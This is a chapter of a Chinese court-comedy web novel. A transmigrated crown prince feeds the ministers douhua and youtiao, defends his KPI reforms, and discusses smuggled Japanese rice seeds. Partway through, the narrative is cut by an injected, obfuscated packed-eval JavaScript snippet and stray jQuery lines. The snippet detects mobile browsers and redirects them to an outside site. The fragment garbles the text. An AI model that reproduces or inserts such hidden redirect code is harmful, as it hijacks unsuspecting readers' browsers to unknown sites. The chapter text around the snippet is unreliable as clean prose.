107.豆腐脑

作品:《食为天

    皇帝御驾亲征的第五日。


    当值的小宫女捏着帕子擦了擦额角的一层薄汗,瞥见东廊下闪过几团紫袍身影。


    太子不喜宦官服侍,他虽不能要求宫中就此不再选进太监,但东宫基本是没有宦官的。


    不少家境贫寒的小男孩会自行自宫,为了能更方便入宫。


    紫色是三品以上官员才有的服色。礼部尚书王景贤捧着一本弹劾的折子,步入太极殿。


    “太子殿下。”王景贤道,"昨日臣收到太常寺卿急报,说东宫新设立的绩效奖金制度,致使太常寺十分之一的赞礼郎请辞,跑去给云来的商队当账房先生了。"


    “这大早晨的。”盛闻从袖子里掏出来一根油条,他挑眉,“大人们吃了吗?”


    王景贤沉声道,“殿下。”


    工部尚书周崇古笑呵呵地道,“回殿下的话,还没呢。”


    “嗯嗯。”盛闻招了招手,宫女们很快端上来一份份早点,“快给大人们赐座,今天吃豆腐脑和油条。”


    六部尚书一人拿着两根金黄的油条,另一只手端着碗豆腐脑坐下来,面面相觑。


    太子还管早饭?


    “孤有个事通知你们。”盛闻喝了口豆腐脑,“下一旬的大朝会改成巳时上朝,你们各自通知一下自己部门的官员。”


    “殿下,祖制不可改啊。”王景贤忍不住道。


    “唉,孤的脖子好痛。”盛闻抬手摸了摸自己的颈椎,从领口里掏出来那块金牌,“好痛好痛,这块金牌好重,坠得孤脖子疼。”


    王景贤看着如朕亲临四个大字,老实地闭嘴了。


    盛闻:“你们又知道孤年轻,处理国家大事肯定比不上父皇快,那不得熬夜深思熟虑吗?”


    “孤是贪睡吗?不是啊,孤是夙兴夜寐,不忍让陛下和祖宗失望啊!”


    “更何况了。”盛闻痛心疾首,“多睡几个时辰觉,孤是为了诸位好啊。”


    “诸位大人也上了年纪,不比年轻的小伙子。”盛闻抬手,“您几位也别说孤胡说八道,您随便找个郎中问问,睡眠不足会不会缩短寿命。”


    王景贤张了张嘴,反正于情于理,都是你说得有道理呗,“殿下那赞礼郎的事…”


    “人都是要往高处走的,怎么,六部还管得了臣僚的生计?”盛闻摊手。


    “非是管生计。”户部尚书邹永昌道,"而是坏了祖制…”


    “别提祖制。”盛闻打断了邹永昌,“邹大人怎么不喝豆腐脑,难道您是甜党吗?”


    邹永昌:“…田党是何党派?”


    “您喜欢喝甜豆腐脑就早说啊。”盛闻道,“快给邹大人换一碗。”


    见刑部尚书钱牧之脸色古怪,盛闻连忙看热闹不嫌事大,“钱大人,有什么话不妨直说。”


    “老邹,你竟然喝甜豆腐脑?”钱牧之惊道,“那甜腻腻的,有什么好喝的?”


    咸豆腐脑才奇怪吧。邹永昌心道。


    打起来,打起来。盛闻在一旁用眼神拱火,甜咸大战争了那么多年,没道理这几个老头还能相安无事。


    险些被太子插科打诨地混过去了。王景贤深吸了一口气,开始叨叨,“殿下,我朝定例,文臣武将的俸禄均按品秩发放,岂容用什么‘客披唉’随意增减?”


    客披唉?应该是KPI吧。


    “昨儿御史台还有御史看见,清华园居然给县学夫子发什么教学提成——这、这成何体统?”


    王景贤说完,数名侍卫将几个被绑着的杂役被押着送到乾清宫外,“太子殿下,这几人私刻绩效不合格的木牌,要挂在宫门羞辱官员,分明是您授意的吧?”


    “这是赤果果的污蔑,孤可没那么闲。”盛闻抹了把嘴,“因为,要是真有这牌子,孤就先给户部挂一块!”


    “陛下御驾亲征已经五天了,孤想干什么事诸位都处处掣肘!”


    “要银子没银子,要人没人!”盛闻跳上御案,居高临下地大骂道,“孤告诉你们,孤什么都吃!”


    “就是不吃亏!”


    “你们这样对孤,等父皇回来,孤要你们好看!”


    太子殿下发疯了。离得最近的王景贤被喷了一脸唾沫,老头脸色一白,太子半点也不隐忍,更不忍气吞声,这和他们计划的不一样啊。


    这些老臣搞错了一件事。从前的皇帝不得不倚仗他们的力量,才偶尔伏低做小。


    而如今的太子,背后站着的是一位正当壮年,将整个国家都牢牢握在手里的帝王,他怎么可能老老实实地听这些半截埋进黄土里老头的话。


    “好了好了。”周崇古连忙打圆场,将大猴子似的太子从御案上哄下来,“没人掣肘殿下,殿下先下来吧。”


    盛闻从御案上一跃而下,他拉过算盘,噼里啪啦地打了起来,“孤也有所耳闻,云来商号给赞礼郎开的账房年薪是八十两,太常寺若不想人都跑光,要么学孤搞绩效,要么——”


    他将算盘一收,“给赞礼郎涨俸禄。”


    “涨俸禄?”王景贤不可置信地道,“不算职田,六品文官年俸三十两,账房先生竟比朝廷命官赚得多?”


    “这就叫重赏之下必有能臣。”盛闻晃了晃算盘,“再说了,要是赞礼郎天天只会背大雍律,算术比户部主簿还差劲,能被商队挖走吗?”


    太子还在记仇放高利贷的事,邹永昌苦笑。


    盛闻看向邹永昌,“对了邹大人,您户部的绩效木牌准备得如何了?”


    “什、什么木牌?”邹永昌问道,这还有我的事?


    “自然是给各州县官做的赈灾银发放效率排行榜。”盛闻笑眯眯道,“孤让东宫的属官做了套流水账册,过几日就送去户部。”


    “往后再有哪个县拖了灾银,木牌就挂到他家祖坟前,让百姓们都瞧瞧祖制养出来的清官。”


    真够狠的,殿外传来压抑的抽气声。盛闻抬眸,见几个御史正扒在廊柱后偷听,立刻提高声音,“还有啊,孤打算在午门设个KPI公示栏,每月把六部的考核分挂出来。”


    他故意拖长语调,“要是哪个部门连续三月垫底——”


    “殿、殿下!”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609809|162397||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    王景贤忽然剧烈咳嗽起来,周崇古连忙递上茶水,给他顺气。


    我受过专业的训练,一般不会笑。盛闻见状差点笑出声,忙低头用袖子掩住嘴。


    小宫女适时上前添茶,压低声音道,“殿下,平阳公主求见。”


    “来得正好。”盛闻立刻起身,又扭头冲尚书们道,“诸位慢慢吃,孤有事先行一步。”


    待太子身影消失在殿外,王景贤抓起油条咬了一大口,“这太子殿下,倒比陛下当年难对付的多。”


    那不是自然的么。钱牧之看着碗里的咸豆腐脑,嘀咕道,“不过这油条配豆腐脑,倒比早朝前的参汤顺口些。”


    邹永昌默默将甜豆腐脑推到中间,“要不……咱们分着尝尝?”


    “滚。”


    此刻的乾清宫偏殿。


    姚谅递过几块木牌,上面分别刻画着优良中差四字。


    “殿下真打算在午门挂这绩效木牌吗?”姚谅的两个实习生之一,太子少师顾青之女顾合乐好奇地问。


    另一实习生,镇国大将军之女景盼旋笑道,“知道的说是革新吏治,不知道的还以为要开赛马场呢。”


    “赛马场多没劲,孤要开的是人才市场。”


    他准备重启在陈州的办法,朝堂官员不配合就算了,天底下的英雄好汉如过江之鲫,他盛闻岂能在一棵老歪脖子树上吊死。


    盛闻打趣完,看向姚谅,“郑良弼那边,有动静吗?”


    “四皇子还未和郑家接触。”姚谅摇头,“他正和东洋来的和尚谈论佛法,瞧不出什么问题。”


    “嗯?”盛闻猜到这必然是盛阑计划的一部分,索性他给的时间还有两天,等到了第八天,再把老弟的头发拔光不迟。


    “我叫人扮作倭商和郑家的商铺谈生意,你猜发现了什么?”


    姚谅递给他一只小小的纸包,打开看来,里面是几粒灰扑扑的种子。


    盛闻:“这是?”


    “倭国的稻种。”姚谅解释道,“郑良弼私通倭寇的证据还没找到,倒查出他偷偷引种东洋稻。”


    “这稻种比咱们大雍的稻种更容易折断,产量也低,不耐贫瘠。”姚谅捏起一粒种子,“不知道他引来干什么?”


    “无非就是…”盛闻怒道,“生物入侵。”


    如东洋那样与世隔绝的孤岛,往往都会形成独特的生态循环,一些独特的病毒和害虫只在本土有天敌克制,到了其他大陆,常会带来毁灭性的打击。


    “但,无碍。”盛闻扶额道,“将稻种交给三公主,小爷教他们什么是九三三一。”


    “只是…废太子会不会真和倭王勾搭上了?”姚谅问,“若废太子真没死,怕是要借倭人兵力卷土重来。”


    盛闻望着太极殿方向。六部尚书的那几团紫色正陆陆续续从殿内走出,王景贤手里还拿着半根油条指指点点,与郑良弼争执着什么。


    “不论当年废太子是死是活,如今史书上已经板上钉钉地记载他已死。”盛闻静静地道,“他的时代结束了,就老实地死在旧书堆里吧。”